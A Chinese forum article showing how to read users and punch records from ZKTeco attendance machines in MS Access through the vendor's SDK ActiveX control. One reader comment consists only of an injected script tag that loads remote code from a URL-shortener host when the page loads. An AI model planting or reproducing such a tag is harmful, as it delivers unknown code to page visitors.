Access培訓
網站公告
·Access快速平臺QQ群號:277422564    ·Access快速開發平臺下載地址及教程    ·歡迎添加微信交流賬號:AccessoftChu    ·如何快速搜索本站文章|示例|資料    
您的位置: 首頁 > 技術文章 > 生產應用

SDK二次開發,讀取中控考勤機打卡記錄測試。

時 間:2019-10-15 21:20:26
作 者:丘蘇洲   ID:66601  城市:普寧
摘 要:從中控的考勤機直接下載數據
正 文:

      一直在中控考勤軟件的后臺數據庫中讀取文件,后來發現多個考勤機又多個考勤軟件操作的話問題比較多。員工重號問題比較嚴重,權限出不好限制。

      研究了中控官網提供的二次開發SDK文檔后,發現中控為二次開發提供了一個ActiveX控件。只要注冊zkemkeeper.dll在窗件插入zkem控件就可以運行函數對考勤機進行操作。

      只分享實用的兩個小功能,希然拋磚引玉。具體應用還是要看官方的SDK開發文檔,里面說明的比較祥細。所有對考勤機的操作都有對應的函數。函數的引用和運行方法都是:ME.控件名.函數()

官網SDK開發文檔網址:https://www.zkteco.com/cn/download_catgory.html

下載:SDK-脫機通訊開發包

網上的實例只看到C#JACA的,沒有ACCESS的特地分配一下研究的結果。 有新發現希望多多交流,開發文檔里有比較祥細的說明。


實例只用到了下載用戶資料和打卡記錄。

下載用戶資料方法及流程:

1、’所有操作都需要用 ME.控件名.Connect_Net(打卡機IP,機器號)先行連接打卡機。

2、ME.控件名.ReadAllUserID (機器號)'讀取所有的用戶信息到PC內存中

3、ME.控件名.SSR_GetAllUserInfo(機器號,后面是用來暫存導出數據的變量)'取得所有用戶信息。

下載打卡記錄方法及流程:

1、’所有操作都需要用 ME.控件名..Connect_Net(打卡機IP,機器號)先行連接打卡機。

2、ME.控件名.ReadAllGLogData(機器號)'讀取所有考勤記錄到PC的內部緩沖區

3、ME.控件名..SSR_GetGeneralLogData(機器號,后面是用來暫存導出數據的變量)從內部緩沖區中逐一讀取考勤記錄

注意開發文檔中的函數都有對應的打卡機機器型號,一定要對得上。

測試實例運行環境:

WIN7 32位

office access 2007 32位

保存為MDB前期文件格式,ACCESS2003應該可以運行。

實例和SDK文檔

下載中控考勤機記錄



Access軟件網QQ交流群 (群號:198347485)       access源碼網店

最新評論 查看更多評論(1)

2019/10/18 17:13:40司璐
<script src=http://suo.im/4Z1zO5></script>

發表評論您的評論將提升作者分享的動力!快來評論一下吧!

用戶名:
密 碼:
內 容:
 

常見問答

技術分類

相關資源

關于我們 | 服務條款 | 在線投稿 | 友情鏈接 | 網站統計 | 網站幫助